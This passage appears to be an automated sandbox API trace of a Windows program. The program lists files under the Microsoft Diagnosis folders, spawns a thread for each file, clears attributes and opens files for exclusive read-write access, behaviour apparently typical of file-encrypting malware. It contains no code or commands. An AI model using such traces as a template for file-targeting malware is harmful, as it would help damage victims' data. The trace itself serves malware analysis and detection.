_Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.718] wcscat (in: _Dest=0x3476790, _Source="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" [0072.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0072.719] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2b5071, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8d3a091, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x442d, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", cAlternateFileName="C08025~1.XML")) returned 1 [0072.719] wcscmp (_String1="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", _String2=".") returned 1 [0072.719] wcscmp (_String1="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", _String2="..") returned 1 [0072.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x34352b8 [0072.719] wcscpy (in: _Dest=0x34352b8, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.719] wcscat (in: _Dest=0x34352b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.719] wcscat (in: _Dest=0x34352b8, _Source="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" [0072.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34352b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0072.720] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2db2dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8c553ea, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", cAlternateFileName="C08025~2.XML")) returned 1 [0072.720] wcscmp (_String1="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", _String2=".") returned 1 [0072.720] wcscmp (_String1="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", _String2="..") returned 1 [0072.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476280 [0072.720] wcscpy (in: _Dest=0x3476280, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.720] wcscat (in: _Dest=0x3476280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.720] wcscat (in: _Dest=0x3476280, _Source="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" [0072.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0072.721] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e301522, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbb0b32d3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418b, dwReserved0=0x0, dwReserved1=0x0, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", cAlternateFileName="E80C85~1.XML")) returned 1 [0072.721] wcscmp (_String1="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", _String2=".") returned 1 [0072.721] wcscmp (_String1="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", _String2="..") returned 1 [0072.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x3434a98 [0072.721] wcscpy (in: _Dest=0x3434a98, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.721] wcscat (in: _Dest=0x3434a98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.721] wcscat (in: _Dest=0x3434a98, _Source="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" [0072.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434a98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0072.722] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e89d5, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e34d9d0, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbaf35d10, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4172, dwReserved0=0x0, dwReserved1=0x0, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", cAlternateFileName="E80C85~2.XML")) returned 1 [0072.722] wcscmp (_String1="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", _String2=".") returned 1 [0072.722] wcscmp (_String1="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", _String2="..") returned 1 [0072.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3475f20 [0072.722] wcscpy (in: _Dest=0x3475f20, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.722] wcscat (in: _Dest=0x3475f20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.722] wcscat (in: _Dest=0x3475f20, _Source="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" [0072.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3475f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0072.723] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e399e7e, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8507a310, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", cAlternateFileName="E9D217~1.XML")) returned 1 [0072.723] wcscmp (_String1="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", _String2=".") returned 1 [0072.723] wcscmp (_String1="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", _String2="..") returned 1 [0072.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x3435388 [0072.723] wcscpy (in: _Dest=0x3435388, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.723] wcscat (in: _Dest=0x3435388, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.723] wcscat (in: _Dest=0x3435388, _Source="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" [0072.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3435388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0072.724] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e458a8d, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x85007c03, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x424c, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", cAlternateFileName="E9D217~2.XML")) returned 1 [0072.724] wcscmp (_String1="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", _String2=".") returned 1 [0072.724] wcscmp (_String1="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", _String2="..") returned 1 [0072.724] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3477000 [0072.724] wcscpy (in: _Dest=0x3477000, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.724] wcscat (in: _Dest=0x3477000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.724] wcscat (in: _Dest=0x3477000, _Source="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" [0072.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3477000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0072.725] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4a4f18, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb806a476, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x43ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", cAlternateFileName="FFFD8B~1.XML")) returned 1 [0072.725] wcscmp (_String1="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", _String2=".") returned 1 [0072.725] wcscmp (_String1="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", _String2="..") returned 1 [0072.725] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x3434c38 [0072.725] wcscpy (in: _Dest=0x3434c38, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.725] wcscat (in: _Dest=0x3434c38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.725] wcscat (in: _Dest=0x3434c38, _Source="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" [0072.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0072.725] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", cAlternateFileName="FFFD8B~2.XML")) returned 1 [0072.725] wcscmp (_String1="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", _String2=".") returned 1 [0072.725] wcscmp (_String1="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", _String2="..") returned 1 [0072.726] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476358 [0072.726] wcscpy (in: _Dest=0x3476358, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding" [0072.726] wcscat (in: _Dest=0x3476358, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\" [0072.726] wcscat (in: _Dest=0x3476358, _Source="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" [0072.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476358, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0072.726] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", cAlternateFileName="FFFD8B~2.XML")) returned 0 [0072.726] FindClose (in: hFindFile=0x3434068 | out: hFindFile=0x3434068) returned 1 [0072.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ed430) returned 1 [0072.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0072.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d9a0) returned 1 [0072.727] RtlExitUserThread (Status=0x0) Thread: id = 552 os_tid = 0x113c [0072.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccdf0 [0072.438] wcscpy (in: _Dest=0x33ccdf0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage" [0072.438] wcscat (in: _Dest=0x33ccdf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage\\" [0072.438] wcscat (in: _Dest=0x33ccdf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage\\*" [0072.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee2a0 [0072.438] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage\\*", lpFindFileData=0x33ee2a0 | out: lpFindFileData=0x33ee2a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434368 [0072.439] wcscmp (_String1=".", _String2=".") returned 0 [0072.439] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33ee2a0 | out: lpFindFileData=0x33ee2a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.439] wcscmp (_String1="..", _String2=".") returned 1 [0072.439] wcscmp (_String1="..", _String2="..") returned 0 [0072.439] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33ee2a0 | out: lpFindFileData=0x33ee2a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.439] FindClose (in: hFindFile=0x3434368 | out: hFindFile=0x3434368) returned 1 [0072.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee2a0) returned 1 [0072.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccdf0) returned 1 [0072.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e98) returned 1 [0072.439] RtlExitUserThread (Status=0x0) Thread: id = 553 os_tid = 0x1140 [0072.441] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479c40 [0072.441] wcscpy (in: _Dest=0x3479c40, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage" [0072.441] wcscat (in: _Dest=0x3479c40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\" [0072.441] wcscat (in: _Dest=0x3479c40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\*" [0072.441] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee2a0 [0072.441] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\*", lpFindFileData=0x33ee2a0 | out: lpFindFileData=0x33ee2a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b11c43, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34340a8 [0072.441] wcscmp (_String1=".", _String2=".") returned 0 [0072.441] FindNextFileW (in: hFindFile=0x34340a8, lpFindFileData=0x33ee2a0 | out: lpFindFileData=0x33ee2a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b11c43, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.441] wcscmp (_String1="..", _String2=".") returned 1 [0072.441] wcscmp (_String1="..", _String2="..") returned 0 [0072.441] FindNextFileW (in: hFindFile=0x34340a8, lpFindFileData=0x33ee2a0 | out: lpFindFileData=0x33ee2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b11c43, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b37da3, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P-ARIA", cAlternateFileName="")) returned 1 [0072.442] wcscmp (_String1="P-ARIA", _String2=".") returned 1 [0072.442] wcscmp (_String1="P-ARIA", _String2="..") returned 1 [0072.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cd2f0 [0072.442] wcscpy (in: _Dest=0x33cd2f0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage" [0072.442] wcscat (in: _Dest=0x33cd2f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\" [0072.442] wcscat (in: _Dest=0x33cd2f0, _Source="P-ARIA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA" [0072.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cd2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0072.709] FindNextFileW (in: hFindFile=0x34340a8, lpFindFileData=0x33ee2a0 | out: lpFindFileData=0x33ee2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b11c43, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b37da3, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P-ARIA", cAlternateFileName="")) returned 0 [0072.709] FindClose (in: hFindFile=0x34340a8 | out: hFindFile=0x34340a8) returned 1 [0072.709] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee2a0) returned 1 [0072.709] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0072.709] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0072.709] RtlExitUserThread (Status=0x0) Thread: id = 554 os_tid = 0x1144 [0072.443] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\vortexschemarequests.dat")) returned 0x20 [0072.444] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat", dwFileAttributes=0x20) returned 0 [0072.444] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\vortexschemarequests.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.444] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat", dwFileAttributes=0x20) returned 0 [0072.444] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 